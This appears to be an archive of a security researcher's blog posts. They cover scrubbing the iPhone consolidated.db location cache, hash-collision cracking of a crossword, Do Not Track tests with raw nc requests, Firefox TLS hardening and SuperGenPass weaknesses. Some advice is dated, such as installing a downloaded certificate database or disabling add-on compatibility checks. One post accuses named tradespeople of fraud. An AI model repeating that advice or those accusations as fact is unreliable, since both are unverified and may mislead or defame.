1. On a jailbroken phone with sqlite3 installed, you can scp or wget the file to the device and do it there & then.
2. On a jailbroken phone, you can copy consolidated.db off, apply the patch, then copy it back.
3. On an unjailbroken (aka normal) phone, you can use the backup & restore method 

If you're jailbroken, you can figure it out.

Update: The below instructions no longer work after iTune 9.2 implemented a new proprietary backup format. I'm hoping the documentation here will allow a quick update of the file hash & size to let the restore work, but until I or someone else has time. You'll need to be jailbroken to protect yourself.

For normal people, follow these instructions:

1. Plug in your iPhone and let iTunes make a backup. Make sure the backup isn't encrypted, we'll do that later.
   
2. Go to your backups directory. On OSX it will be in /Users/<username>/Library/Application Support/MobileSync/Backup/  In Win7 it will be in \Users\<username>\AppData\Roaming\Apple Computer\MobileSync\Backup\ other windows locations are listed here. It will contain several randomly named directories, change into the one with the latest timestamp (sort by last-modified date) to work on your last backup.
3. Get hold of the iphonels.py file. Either by copy pasting from the original here, or just downloading this one.
4. Look for the randomly named file that maps to consolidated.db by running the iphone-ls.py and grepping for "consolidated" e.g.: ./iphone-ls.py | grep consolidated. It will look something like '3086b93ce76d2847dc283405811e284a7c815839'. If you're on Windows, you'll need to install python.
5. The value in brackets is the name of the file as it is stored in the backup folder. This name will be consistent across all your backups.
6. Apply the SQLite modifications from here to the file, either use the sqlite3 command line utility e.g. sqlite3 3086b93ce76d2847dc283405811e284a7c815839 '.read singe-iphone-privacy.sql', or use your favourite GUI.
7. Overwrite all copies of consolidated.db in each backup directory with the new version. This is easy to do as the random file name is consistent across backups, so just copy the new file into each backup directory.
8. Next, plug in your phone, and restore your backup. Remember to re-encrypt your backups.

Update 1: Restoring to a non-jailbroken phone doesn't work. Updated the .sql with the 'vacuum' command to flush out old data (thanks Istvan).

Apple responded to the location logging stuff with a Q&A aimed at dispelling some of they myths all the hype has created. The only problem is, they try to dispel some of the facts too.

1. Why is Apple tracking the location of my iPhone?

Apple is not tracking the location of your iPhone. Apple has never done so and has no plans to ever do so.

3. Why is my iPhone logging my location?

The iPhone is not logging your location. Rather, it’s maintaining a database of Wi-Fi hotspots and cell towers around your current location, some of which may be located more than one hundred miles away from your iPhone, to help your iPhone rapidly and accurately calculate its location when requested. Calculating a phone’s location using just GPS satellite data can take up to several minutes. iPhone can reduce this time to just a few seconds by using Wi-Fi hotspot and cell tower data to quickly find GPS satellites, and even triangulate its location using just Wi-Fi hotspot and cell tower data when GPS is not available (such as indoors or in basements). These calculations are performed live on the iPhone using a crowd-sourced database of Wi-Fi hotspot and cell tower data that is generated by tens of millions of iPhones sending the geo-tagged locations of nearby Wi-Fi hotspots and cell towers in an anonymous and encrypted form to Apple.

4. Is this crowd-sourced database stored on the iPhone?

The entire crowd-sourced database is too big to store on an iPhone, so we download an appropriate subset (cache) onto each iPhone. This cache is protected but not encrypted, and is backed up in iTunes whenever you back up your iPhone. The backup is encrypted or not, depending on the user settings in iTunes. The location data that researchers are seeing on the iPhone is not the past or present location of the iPhone, but rather the locations of Wi-Fi hotspots and cell towers surrounding the iPhone’s location, which can be more than one hundred miles away from the iPhone. We plan to cease backing up this cache in a software update coming soon (see Software Update section below).

Their claim pretty explicitly states, that they aren't storing location data based on your actual position. The facts would appear to indicate otherwise (these are based on the copy of consolidated.db that was on my phone:

• The tables "CellLocationHarvest" & "CellLocationLocal" store both "Speed" and "Course" entry (several others have these fields, but did not have any or valid data in them). Unless cell towers have a habit of moving about, this would appear to be logging *your speed & direction* and not just "tower data". Granted, the "CellLocation" table containing the most significant amount of data, did not have valid data in the speed fields.
• The table names imply different uses for e.g. we'd expect CdmaCellLocation, CellLocation & WifiLocation tables to store the info they speak about above. But the "LocationHarvest" table not only stores valid speed & course fields, it also assigns a unique "Trip ID" e.g D47CA532-84C9-40CD-8BE6-B3895837DA3C. This looks like a unique identifier based on *your* movements, not those of the cell towers.
• Even if this was downloading offline caches of cell towers & APs for assisted GPS, given this includes details as granular as my neighbours Wifi AP, this is still more than enough to track your actual location. We've seen large data sets with "unique anonymous" identifiers deanonymised many times.
• The data is good enough for forensic investigators to use, here's a screenshot from a book on iOS forensics: "consolidated.db [snip] is potentially one of the most forensically rich files an analyst can use." It strikes me that if it's good enough to use in the courts, then the implications may be a bit wider than Apple claims.
• And finally, further down the QA, Apple contradicts their statement of "The iPhone is not logging your location" by explaining that it is, and this will be used for traffic information. This explains the "LocationHarvest" table mentioned above.

8. What other location data is Apple collecting from the iPhone besides crowd-sourced Wi-Fi hotspot and cell tower data?

Apple is now collecting anonymous traffic data to build a crowd-sourced traffic database with the goal of providing iPhone users an improved traffic service in the next couple of years.

On the up side, they acknowledge at least one bug:

7. When I turn off Location Services, why does my iPhone sometimes continue updating its Wi-Fi and cell tower data from Apple’s crowd-sourced database?

It shouldn’t. This is a bug, which we plan to fix shortly (see Software Update section below).

I haven't seen what is actually transmitted to Apple, so can't comment on how much is uploaded or downloaded. However, I can attest to have seen the iPhone populate the file with tower & AP information when first populating it with data (123 cell towers, and 401 wifi APs). So that part is at least true.

In conclusion, I certainly don't think this is a serious threat, but this file does store rich location data that can be used by anyone with access to it to disclose a significant history of your movements. Apple has attempted to play that down, but for people to who the privacy of that data may be of critical importance (think protesters in Lybia or Egypt), they should take steps to protect themselves. Finally, it is also my belief, that based on the data in the file, if Apple has access to the same data, then there is enough information for them to uniquely identify both you, and your location history. They claim they aren't, but it just takes one breach for all of this data to end up somewhere we need to make different assumptions about, and I'd prefer that the location data Apple (and others, like my mobile service provider) collected without my consent, be deleted.

Update 3: I've modded Tehtri's approach and it appears to be working nicely, read this post. 

Update 2: untrackerd seems to clear out two tables only, and not the most worrying tables either (at least in my file). After 2 days of use, it didn't change a single entry in my consolidated.db (I was using v0.2). So I've ditched it. However, the guys from Tehtri Security, posted a leet idea to Full Disclosure of using triggers (I had no idea SQLite3 could do triggers). The triggers ensure that the relevant tables get auto-truncated when written to. You can download this SQL file, and apply it to consolidated.db with the command (assuming it's in the same directory):

sqlite3 consolidated.db '.read tehtris-iphone-privacy.sql'

I've checked and applied the triggers, and they seem to be functioning (I watched the file shrink as loc data was written), and location services are working. So far so good. You can either use the backup & restore method discussed below, or if jailbroken, you can scp the file off the device, apply the change and scp back, or install sqlite3 via Cydia and do it on the device.

Update 1 - Warning: This breaks location services. I didn't notice because I spoof my location to a bunch of apps, whoops. The specific aspect that breaks location services appears to be the use of the stub consolidated.db file. The read-only permission flags get ignored on an otherwise "correct" file. You can delete the file regularly and it won't cause any problems however. There is a jailbroken application, untrackerd, which will run a daemon to do it for you. When I get a chance, I'd like to extend the SBSettings GPS switch to delete the file too (i.e. delete consolidated.db on GPS switch on).

Yesterday, Pete Warden and Alasdair Allen released some research and a tool that showed that Apple has been collecting detailed location data since v4 of iOS in a file called consolidated.db. Apart from the worry of wtf Apple is collecting such detailed information, this file is available in the clear in all your iTunes backups, meaning any application on your computer can access it if you haven't encrypted your backups. To demonstrate that, Pete and Alasdair released a demo app that gives a scary amount of detail about your movements.

The only advice given by the researchers was to encrypt your backups. This will prevent other apps from reading the file out of them, but it won't stop the file from existing at the source. I did some quick poking and found a better solution. You can edit your consolidated.db to contain junk data, and replace it in your backups, and restore your phone. If you've got a jailbroken phone, you can also remove write permissions to the file, and it won't get updated (based on the limited testing I performed).

Here's the step by step guide:

• Plug in your iPhone and let iTunes make a backup. Make sure the backup isn't encrypted, we'll do that later.
  
• Go to your backups directory. On OSX it will be in /Users/<username>/Library/Application Support/MobileSync/Backup/ (note, there's no "s" on the end of Backup like the iPhoneTracker FAQ suggests). In Win7 it will be in \Users\<username>\AppData\Roaming\Apple Computer\MobileSync\Backup\ other windows locations are listed here. It will contain several randomly named directories, change into the one with the latest timestamp to work on your last backup.
• Get hold of the iphonels.py file. Either by copy pasting from the original here, or just downloading this one.
• Look for the randomly named file that maps to consolidated.ls by running the iphone-ls.py and grepping for "consolidated" e.g.: ./iphone-ls.py | grep consolidated
• The value in brackets is the name of the file as it is stored in the backup folder. This name will be consistent across all your backups.
• If you like, open the file up in your favourite SQLite editor and mess up the tracking values. Or to save time, you can use this one. In my file, I truncated as many tables as made sense (e.g. I didn't truncate the "versions" table), and for those which couldn't be truncated, overwrite the private data with 1's.
• I then overwrite all copies of consolidated.db with the new neutered version. This is easy to do as the random file name is consistent across backups.
• Next, plug in your phone, and restore your backup. Remember to re-encrypt your backups.

The problem with this approach, is that it will need to be done regularly to keep clearing out the new location data that gets written. If you have jailbroken your phone, you can take the additional step of overwriting the file on the device (it's in ~/Library/Caches/locationd/consolidated.db) then chmod'ing it to 440 to make it read-only (this doesn't work, the perms are ignored, you'd need to SetFile). I did this then tried several things such as switching the GPS on and off, reconnecting to the cell network, turning wifi on/off, turning on my GPS app, airplane mode on/off etc. and nothing updated the file (because I was spoofing my location, whoops). Although, a -journal file does get created for brief short periods, that quickly disappears (too fast for me to grab a sample, and too inconsistently for me to repeatedly force it's generation).

Todo (or if you feel like contributing): Modify the iphone-ls.py file to allow changing values, most notably the permissions (2 byte integer) to allow the backup to mark the file as read-only.

This is a pretty pointless entry talking about the simple crossword challenge provided by the ITWeb Security Summit.

The crossword is trivial, I was able to guess each word on first attempt, except the last long word. Instead of thinking about it, and realising that several others had already done it, I thought I'd have a look at the code.

It turns out that the code is somewhat smart and doesn't reveal the words, rather it uses a custom hashing algorithm and stores the hashes. The two pieces of JavaScript controlling the crossword are the configuration (questions & answers) and the functionality. There are two interesting pieces of information in these, the first is the hashes of the answers stored in the configuration:

AnswerHash = new Array(10664, 37493, 27958, 81424, 27548, 67695, 31280);

And the second, in the functionality, is the hashing algorithm:

function HashWord(Word)
{
    var x = (Word.charCodeAt(0) * 719) % 1138;
    var Hash = 837;
    var i;
    for (i = 1; i <= Word.length; i++)
        Hash = (Hash * i + 5 + (Word.charCodeAt(i - 1) - 64) * x) % 98503;
    return Hash;
}

A quick look at the hashing algorithm shows that it probably isn't reversible (or at least not trivially), primarily due to the modulus operators which aren't reversible. However, all is not lost, the algorithm is very simple, which means two things. The first is that it will have a ton of collisions (i.e. many words will result in the same hash) and the second is that your processor won't do much work in running it. Thus, I figured it may be fun to run it across a dictionary and see what collisions pop-up.

Since I was playing, I decided to check out whether there were any CLI JavaScript shells that I could use, and the speed at which they run. A quick google showed me that Chrome's V8 JavaScript engine has a "toy" shell that could be used. I pulled down the trunk, and with the sample=shell option passed to scons had the shell binary built.

The V8 shell is pretty cool, and can either be run interactively, used to evaluate JS passed as an argument with the -e switch, or run multiple files. However, input via CLI can't be passed as an ARGV, and either needs to be in one of the files, or in a -e statement. So I created three files:

• hash.js - Which contained the HashWord function above verbatim, but with a toUpperCase() added to the word passed
  
• dict.js - Which contained /usr/share/dict converted into a JS Array object
• loop.js - Which contained the answer hashes array, and looped through the dict comparing resulting hashes to the answers

If you're interested, the three files can be downloaded from here. They can be run by passing all three as arguments to shell e.g. ./shell dict.js shell.js loop.js

The results were as follows:

Found! Word: anonymous  Hash: 27958
Found! Word: coseismic  Hash: 10664
Found! Word: cryptanalysis  Hash: 31280
Found! Word: Cupressaceae  Hash: 27548
Found! Word: cystolithic  Hash: 31280
Found! Word: honeypot  Hash: 37493
Found! Word: irrationability  Hash: 10664
Found! Word: miscommit  Hash: 37493
Found! Word: phloroglucic  Hash: 10664
Found! Word: pneumotoxin  Hash: 67695
Found! Word: psychics  Hash: 10664
Found! Word: reeky  Hash: 67695
Found! Word: rhamphoid  Hash: 37493
Found! Word: shuckpen  Hash: 81424
Found! Word: stowbordman  Hash: 81424
Found! Word: unthoughtedly  Hash: 27958

Out of interest the result of time() were: 0.39s user 0.06s system 97% cpu 0.460 total

If you've checked the crossword, you'll see some of the answers are listed, you'll also see that there are several collisions, for example 'cryptanalysis' and 'cystolithic' both result in 31280, the hash of the final 'secret' word. It was fairly obvious that 'cryptanalysis' was the final word (apart from being the right length, it's the only security related term) however, I then tried to see if one of the 'incorrect' collisions would work. Unfortunately, there is a length check and so a straight substitution doesn't work, but 'coseismic' in the place of 'conficker' is accepted by the crossword as this image shows:

 However, when you try and complete the crossword with the incorrect word, the 's' in 'coseismic' conflicts with the 'c' in 'cryptanalysis' and so you can't complete the crossword with this combination of words. However, if you don't limit yourself to english, and rather use random characters, you could eventually find gobbldegook that would complete the crossword. A challenge for someone else perhaps?

So that's my hackers attempt at 'cracking the code'. Hope to see you at the summit.

Firefox 4 implemented the Do Not Track header. This is an option, sent via an HTTP header, to specify to a webserver that the user would like to opt-out of advertising/behavioural tracking. The news came in soon after that the AP News Registry service had implemented support for DNT. So I decided to have a quick look at what this meant. It ended up highlighting why I think DNT will never be a solution by itself, and why it's intended use may even be tenuous.

First off, I needed to know what domain and from what sites the AP cookies are set. It turns out that the service relies on the hNews microformat, and a quick google brought me to The Aspen Times. If you have a look at the source for Aspen News, you'll see some content loaded from analytics.apnewsregistry.com and apnewsregistry.com. Since "analytics" seemed to be the most likely tracking source, I made two simple HTTP requests to the URL referenced in a news story, one with the DNT header, and one without.

$ nc analytics.apnewsregistry.com 80
GET http://analytics.apnewsregistry.com/[snip] HTTP/1.1
Host: analytics.apnewsregistry.com

HTTP/1.0 303 See Other
Set-Cookie: ASP.NET_SessionId=lwymgdbt4u5go3e55al1uxwc; path=/; HttpOnly
[snip]

With DNT:

$ nc analytics.apnewsregistry.com 80
GET http://analytics.apnewsregistry.com/[snip] HTTP/1.1
Host: analytics.apnewsregistry.com
DNT: 1

HTTP/1.0 303 See Other
Set-Cookie: ASP.NET_SessionId=vy1r33ambeja03fev4e1ognw; path=/; HttpOnly
[snip]

In both cases, you can see a unique session cookie is being set. That didn't seem right. So I set up a brand new Firefox 4 profile, hit aspen news, then checked the cookies. Without DNT I saw the following cookies related to apnewsregistry:

I then set the DNT option under Preferences -> Advanced -> General -> "Tell websites I do not want to be tracked", and saw the following cookies get set:

This tells me that it's not the analytics site, but the other which is affected by the DNT header.

Does this mean the AP News Registry conforms to the intention of Do Not Track? The answer is that we have no idea. They're still dropping a unique identifier, even with DNT set. Even if they weren't dropping any, the combination of other browser attributes could prove unique enough. In the end, someone would need to perform a code review of their server-side code to make sure the unique identifiers aren't being used for tracking.

This is important, because that's the primary intention of DNT. To quote Harlan Yu when asked about this issue:

Of course, Do Not Track needs a regulatory framework with effective enforcement mechanisms. This is the ongoing policy debate in Washington, whether Congress should give the FTC authority to define and enforce DNT regulations and what these regulation look like.

But enforcement is going to be very hard if situations like the above are allowed to persist. Do Not Track needs to result in no cookies or other unique identifiers being set on the client side and an independent audit of the tracker's server side code for it to be a meaningful label that can be meaningfully "breached".

In short, I'm not saying DNT is useless, just that implemented as AP News has done it, is equivalent to an unverifiable promise. In the end, it is my belief that we need to rely on technical means *first* for provable privacy, and let ideas like DNT provide a *secondary* legislative mechanism.

In the meantime, DomCorp will be offering free "DNT audits", just send me all your codez and passwords :)

After Jacob outed the compromise at one of Comodo's resellers, I decided to see how I could best secure my browser when it comes to TLS. This is important given how fundamental TLS is to our daily online activities. The advice I currently recommend and have implemented myself in Firefox 4 consists of:

• Install HTTPS-Everywhere
• Reducing the number of trusted root CA certificates to the most frequently used
• Forcing OCSP revocation checks
• Monitoring for certificate changes

This is a brief how-to enable the same in your browser.

Install HTTPS Everywhere

You need a reason to engage in all this hard work. Install the EFF's HTTPS-Everywhere add-on which will automatically redirect you to encrypted version of many popular websites. Blanket rules for doing this tend to break things, and the EFF has put some good work into making this usable. Everyone should have it installed.

Reducing the Trusted Roots

Qualys SSL labs, and the EFF SSL Observatory both have data sets which identify the top root certificates in use across the internet. The interesting finding their research highlights is that the top 10 root certificates (note, some CAs have multiple root certificates) account for over 90% of the Internet. This means we can safely cut his number down from the nearly 200 currently in Firefox to 24. I'll be publishing a more detailed analysis on SensePost's blog, but in the meantime, the 24 most commonly used I went for (which accounts for approximately 98% of all certificates is use) are:

• AddTrust External CA Root
• COMODO Certificate Authority
  
• AAA Certifice Services
  
• DigiCert High Assurance EV Root CA
• Entrust.net Secure Server Certification Authority
• Entrust.net Certification Authority (2048)
• Equifax Secure CA
• Equifax Secure Global eBusiness CA-1
• GeoTrust Global CA
• GlobalSign Root CA
• GTE CyberTrust Global Root
• Network Solutions Certificate Authority
• SecureTrust CA
• StarField Class 2 CA
• StartCom Certification Authority
• Thawte Server CA
• Thawte Premium Server CA
• thawte Primary Root CA
• Go Daddy Class 2 CA
• UTN-UserFirst-Hardware
• http://www.valicert.com/ (Class 2 Policy Validation)
• Verisign Class 3 Public Primary Certification Authority - G5
• Verisign Class 3 Public Primary Certification Authority
• Verisign Class 3 Public Primary Certification Authority - G2
  

Note that these are specific certs, not CAs. You can manually configure these in Firefox by going to Preferences->Advanced->Encryption->View Certificates and manually editing the trust for every certificate. This is a pretty tedious process, and so you can rather download the preconfigured certificate database from me here (SHA 512: e184e5750ccab4b9ea6ef4d67e813fcdbe8515ac9aafc9ded1fa27eb59c8bfe111cba5d424d33721f830b2d2b5ff3a388a4885502a93f6d805041ecbcaf31c05). This will overwrite any existing certificates you may have trusted or imported, so I'd recommend you do it on a new clean profile. Just copy it into your Firefox profile directory. A profile directory is usually several random alphanumeric characters followed by the profile name e.g. xxxxxxxx.default. On different operating systems the file should be placed in:

• OSX ~/Library/Application Support/Firefox/Profiles/xxxxxxxx.default/cert8.db
• Windows %APPDATA%\Mozilla\Firefox\Profiles\xxxxxxxx.default\cert8.db
• Linux ~/.mozilla/firefox/xxxxxxxx.default/cert8.db

I've been surfing with this configuration for a day or two now with no problems. Your browser will validate the entire chain, so if a certificate is signed by an intermediary you don't trust, but which is eventually signed by a root you do trust, then your browser won't give you a certificate error. This means the impact of this change is limited and basically prevents some of the stranger CAs like Booz Allen Hamilton or The Chinese Gov from issuing certs you will trust, but wouldn't prevent a compromised intermediary (as in Comodogate) attack. If you've decided not to trust Comodo post Comodogate, you can untrust the Comodo and AAA certificates, although will receive many untrusted cert errors.

Forcing OCSP verification Checks

There are two ways for your browser to check whether a certificate, validly signed by a certificate authority, has been revoked. The first is to check the CRLs embedded in a certificate, and the second is to do a dynamic lookup over the Online Certificate Status Check Protocol (OCSP) (one can also subscribe to CRL lists, but this is currently an onerous and complete process). By default this is not forced each time, and must be enabled by manually toggling the option in about:config through a config option. The trade off is that the OCSP provider can see what sites you are visiting. If you're being surveilled you may not want to do this, but for your average user it may be worth it given the current compromises.

To do this:

1. Type "about:config" in your URL bar
2. Click "I'll be careful I promise" when you see the warning
3. Add a new Boolean key named security.OCSP.require
4. Ensure the value is set to "true"

1. Navigate to Preferences->Advanced->Encryption->Validation
2. Select both checkboxes referring to using an OCSP server, and marking failed validations as invalid
3. Choose the first radio button about using OCSP if a cert specifies it (hopefully a trusted entity will run a decent OCSP server we can validate all certs against soon)
   

Monitoring for Certificate Changes

Your browser now provides a little more certainty that you can trust the random certificate it has been presented, however, it is still useful to know when a certificate has changed. This will give an indication that either a validly signed certificate is being used in a man in the middle attack, as is the case with some lawful intercept products, or as in the case of Comodogate. For example, my use of certificates on this website has nothing to do with valid signatures and relies on the fact that the exact same certificate that I trust is in use. For this monitoring I used to use Petnames, however, this has not been updated for Firefox 4, and so I found Certificate Patrol (thanks Ivan). This too is not compatible with the final release of Firefox 4, however, it is with a beta, and so disabling Firefox add-on compatibility checking using the add-on compatibility reporter will allow it to be installed.

What Certificate Patrol does when you first visit a site and are presented with a certificate, is to display a pop-up showing the certificates details. This forces you to actually evaluate the certificate for common-sense indicators e.g. is it assigned to the company it should be or "Iranian Secret Police". The really useful feature however, is when you next visit the site, it will check that the certificate is the same as seen before, and if there is a mismatch (i.e. the certificate has changed) it will warn you. Thus, for example, if you are in a wireless hot-spot and find you get a "certificate changed" warning on every SSL site you visit, that's a clear indication that someone is intercepting your traffic. If you get it on your banking website with no warning, it should make you look for an announcement from the bank about it, and if not, ask them for one.

To disable add-on compatibility checking and install Certificate Patrol, do the following:

1. Got to about:config as described in the previous section
2. Find the key named extensions.checkCompatibility.4.0
3. Toggle the value to false

1. Install the "Add-on compatibility reporter" to allow you to install & report on plugins not yet marked as compatible with FF4
   
2. Navigate to the Certificate Patrol page, and click "Download Now"
3. Restart Firefox when prompted

If you want to take it a step further, there is the Perspectives add-on. What this does is contact a specialised notary that comments on how long the certificate presented by the site has been "seen". The add-on will them assign a "trustworthyness" based on how consistent the answers between notaries are, and how long the certificate has remained the same. Thus, if you are being man-in-the-middle'd the certificate presented would be different from any the notaries had seen and a failure would be issued.

Update: Updated to avoid about:config changes.
Update II: Added SHA sum of cert trust DB and fixed some spelling.
Update III: Referenced perspectives

This is a quick note, partially for my own purposes of memory, of an idea. I tried to hit a GoToMeeting page earlier today. I didn't need to log on, just needed some basic information. The problem was it has one of those irritating cookie detector pages. Essentially, even though it doesn't need to set a cookie, it tries to, and if it can't, redirects you to "Sorry, you don't have cookies enabled."

In those situations, you need to allow the site to set a cookie, and then remove the cookie afterwards. Add-ons like CookieSafe let you use "Temporary Permissions" but those are set for much longer than a single page request. So you end up with an unnecessary cookie, potentially used for tracking that you don't need.

The cookies it sets are:

Set-Cookie: g2mVisitor=FirstVisit%3D1299181701998%26LastVisit%3D1299185151317%26RSN%3DDEFAULT; g2mSession=SessionInfo%3D200000000028062301%253A41EA01704E81824; JSESSIONID=abcldXoZn-6ZjaEQ4q95s

What I tried, was to send a fake Cookie: header, with all three of the cookie names it was looking for, but with blank values for each. It worked perfectly. They looked like:

Cookie: g2mVisitor=; g2mSession=; JSESSIONID=

My suggestion then is that CookieManagers provide a "Stub Cookie" option, where a site that wants cookies, but doesn't need them, can think it has set the cookies, but in truth just be getting blank values. It's a quick change that should have minimal impact. I had a quick look at CookieSafe's code (I can't seem to find any contact details for the author), and I'm hoping it's as easy to implement as it looks.

Time, time, time...

Last night we lost power to all electrical outlets in our house. On checking the board, I saw that it was the earth leakage, which I was unable to turn back on. This is a story about AAA Electrical (also know as AAA Plumbing, or AAA Electrical or AAA Plumbing & Electrical), and how they tried to defraud me, and appeared to have done it to many others. Don't use them. If you need a reliable & honest electrician use:

Andrew: +27 82 443 7762

It was a Sunday night, the fridge was off, and the prospect of no espresso in the morning was galling. I phoned the first full page ad in the yellow pages mentioning my area and "no callout fees, free quotes", AAA Electrical. The lady who answered, Cynthia, was polite and efficient. However, neither her, not the two other electricians I phones were able to give me even a ballpark figure. 20 years in the business it said, evidently earth leakages are still too tricksy to hypothetical quote on.

An hour later, Kenny and his partner Eziechiele arrived in an Isuzu bakkie (GP plates, started with an S). He unscrewed a bunch of wires in my board, set his ammeter to them, and proclaimed he had found the short; "It was a surge from the grid" he said. That's strange, nothing blew, none of the flats around me were affected. I didn't believe him. He then phoned Cynthia at the "head office" and returned with a quote of just less than R5k! I asked how much it would be to just replace the earth leakage switch, and not "clear the short", just less that R2k! This was clearly outrageous, so I sent him packing, but not after paying their R395 "call out fee", oops, they mean "quotation fee", no wait the ad said they didn't charge that either, ok, it's an "analysis fee". I also asked that he put everything back the way it was...

I then phoned the next electrician, Willem, who balked as I did at the outrageous quote, and said he could do it for half i.e. R2.5k. Wow.

Finally, I remembered that a good friend used to manage several electrical contractors and I phoned him for advice. He gave me the number of Andrew, listed above, and said he'd trust him with his kids. Much better. I phoned Andrew at 8am the next day, and by 9:30 he'd been round, performed the trivial task of resetting the earth leakage (you have to push it down hard, my bad) and agreed to charge me nothing more than his basic call out fee. What he did point out, is that Kenny had left several wires improperly screwed, and the neutral wires completely unscrewed. The only thing he attempted to screw right, was me.

It's sad that these guys can't operate an honest business, and feel they need to make their money through quoting for radically unnecessary work and attempting to damage your electrics further. This is the definition of fraud I am using. It appears I'm not the only one who's had a run in with them, several, others got screwed much worse.

It seems my work on privacy has garnered some attention of late. Whether earned or not, I will be presenting at the Computer Security Institute's Virtual Conference CSIVX on the 28th of September. I will be on hand to answer questions, even though it will be some silly hour ZA time. This is technically the first "international" event I've ever "presented (see pre-recorded video for)" at, and it includes the likes of Ira Winkler, Amit Klein and Jeff Williams.

I'll also be presenting on privacy at IS' Internetix2010 conference in both Jozi & Cape Town. Internetix is a rocking conference organised by IS, and I'm chuffed to have been invited. It will be a nice chance to test the privacy stuff with a large non-sec crowd.

Next up, I'll also be presenting a workshop on Threat Modelling off the back of quite a lot of work we (my employer SensePost, and I) have done on it recently. If you want to get an idea of the content, have a look at the last set of slides. It's hosted by the ISF and will be held in Jozi on the 28th.

Finally, I'll most likely be giving the SensePost training at BlackHat Abu Dhabi in Nov. If we get over around 15 people I can justify someone smarter than me from SensePost joining us, so if you're keen for some training, please sign-up :)

I made a small update to SuperGenPass (full write up) to randomise several of the variable names. This will prevent this exploit from working. It is by no means fool proof, and I'd still recommend using the Data URI or other out of band version for full assurance. I've been using it for a few weeks now with no incident. Additionally, as the randomisation is done per user, and up-front, I'd recommend hitting the page via TLS. I use a self-signed cert, the fingerprints are on the right of my blog.

Vodacom switched from the Vodacom4Me portal to a new Vodacom portal. I've updated VodaSMS to deal with that. You can get it in the usual place. The only caveat is that there's a strange MD5 value included in the SMS POST. It is currently consistent across logins, times and users. It may change per day, in which case this will stop working tomorrow. But I'll keep an eye on it and update accordingly.

As someone who uses a lot of web apps, I run into the problem of trying to remember multiple passwords. Most people resolve this by just using the same password across all the sites. However, as numerous, examples, have, demonstrated, that's not a good idea. The knee-jerk counter is to use a different password (or groups of passwords) across the sites, but that becomes difficult to remember. If you want the quick solution I'm proposing then check out SuperGenPass (or my customised version). The security geek details follow after the jump.

Some of my colleagues use password databases such as KeyPassX, or the browser's "remember password" feature. These solutions are significantly better than using the same password across all sites, but suffer from a few problems:

• You have all your passwords written down somewhere - at some point you may not be the only one looking at this list
  
• That list isn't always protected - e.g. using Firefox's "remember password" feature without a master password could expose your password on physical theft of the device
• Portability - if you aren't at your machine you can't log in. KeePassX is quite portable, but then ends up making more copies of the password list.
  

None of these are killers, but they aren't ideal. This is where SuperGenPass comes in. SuperGenPass hashes a password with the domain to make a unique password per-site, meaning that a compromise or malicious admin on one site won't give them the password for another site. The main advantage is that there's no database or list of passwords lying around that could be compromised and you only need remember one password. If you wear lots of tinfoil like me, you can remember groups of passwords e.g. critical, important, arb sites. It's ridiculously portable with a bookmarklet (don't use this, see below), data URI, straight JavaScript, Python (alternative) and J2MEE implementations.

There are a few potential problems that need to be considered (they all have solutions) however:

• The bookmarklet runs in the same context as the website you're logging into. This means javascript on the site (or POST'ed/GET'ed information) has access to it. This allows a malicious or hacked site to get hold of your master password. There's a better explanation here, and I put up a demo here. So DO NO USE THE BOOKMARKLET. Any of the other versions are good enough, but are vulnerable to shoulder surfing (something the bookmarklet is not vulnerable to).
• Update: The bookmarklet now uses some random variable and function names to reduce the changes that a straight capture of the master password will work. I'd still avoid the bookmarklet for important stuff.
  
• The algorithm doesn't include za.net and za.org as top level domains. This means that all your passwords for the approximately 30k domains hosted under these could have the same password. As it is unlikely that the majority of internet users use more than one web-app in these domains, this isn't a huge risk. Although, it does technically make finding the correct MD5 collision slightly easier. When I notified the developers of the bug, the response was that a change in the algorithm would affect users with existing passwords on these sites and hence they would not change it. So I made my own, more on that later.
• The default password length is 10. That's fine, but given research like this, and that setting the default to 12 costs the user nothing and potentially buys them $7,700,102,463 extra protection per password, that sounds like a good deal.
• MD5 - this isn't a problem. The knee jerk I hear from some security people is that is uses MD5 and that's broken. However, the vulnerability in MD5 allows other values to be found that hash to the same value (a collision). This does not let you work out the reverse i.e. the original value (master password in this case) from a single hash however. So we're safe here (I think, crypto nerds got any comments?)

In light of the above, I've made my own customised version of sgp. It includes customised versions of all but the J2MEE version (which is partially customised by it's author to include za.net/org already). My recommendation is to use the Data URI as a bookmark loaded in your sidebar (in Firefox). While it is slightly slower logging in to one site because you will need to type the domain, it is faster when logging in to many because you can just change the domain without re-entering your master password. It is vulnerable to shoulder surfing however.

In summary. SuperGenPass provides a convenient way to use different passwords across different sites. There are some potential problems and improvements, to which I recommend using my customised version, with the preferred method being the Data URI as a Bookmark loaded in your sidebar.

Thanks to Russell for pointing SGP out in the first place, and Michael for the Python and J2MEE version and the changes.

Come the turn of the year, many people draw up list of predictions for the next. This list is slightly different, instead of focusing on what new threats, vulnerabilities or attacks we'll see, this is a list of some things that, if not already handled should be in your security strategy for this year. Some organisations are further along than others, and this list is targeted at the average ZA organization based on my observations. (Full disclosure, some of the items relate to services my employer offers, that's just because I believe in them).

• Get a handle of what you have online. Many orgs have a much larger Internet presence than what's sitting in their hosting center. Cheap hosting, elastic hosting, service providers with their own infrastructure (particularly those catering directly to business units), half forgotten subsidiaries & business partners all put services online that tend to get overlooked. But expose your company to brand damage or access to your network. Best of all, this is cheap & quick to do. Consolidating the results into controlled hosting areas and applying consistent security standards isn't unfortunately.
• Check up on exceptions to the basics. By now most have at least a basic patch, virus, change & configuration management process for servers. If you don't, start. If you do, start checking on exceptions such as;
  • How many servers don't we know about & why?
    
  • How many servers don't have AV & patches up to date?
  • How many changes that didn't go through change control were made?
  These are harder questions to answer, but as any pentester will tell you, we're good at finding those machines and that's our quick 'n easy in.
• Third party patches. Microsoft did some good work in sorting out their patch release cycles and it's fairly easy to get those patches applied regularly. Unfortunately the attacks have moved to the harder to patch, less secure software on machines operated by less savvy users. This means you need to start managing non-MS patches, and you need to do it on more than just servers. Worse still, each third party software provider has their own update mechanism which is hard to centrally manage (in a Window environment at least). Big ticket patch management tools have long had this capability but they also come with the price tag. Cheaper tools such as Secunia CSI or even the right vulnerability scanner can alert on what needs doing.
• Mobile security *processes* - People have hyped mobile security for years and we're at a point where there's a reasonable expectation that a majority of information workers have at least company email & calendar data on their phones. The most likely threat is of the device being lost or trivially accessed. Figure out what controls you can push to the most number of devices (e.g. MS ActiveSync allows passwords and lock times to be enforced & iDevices or RIM devices have an extended set of controls). More importantly however, is to implement processes for using these. They don't need to be perfect, but at a minimum employees should be able to report lost or stolen phones and have a remote wipe command sent & passwords reset.
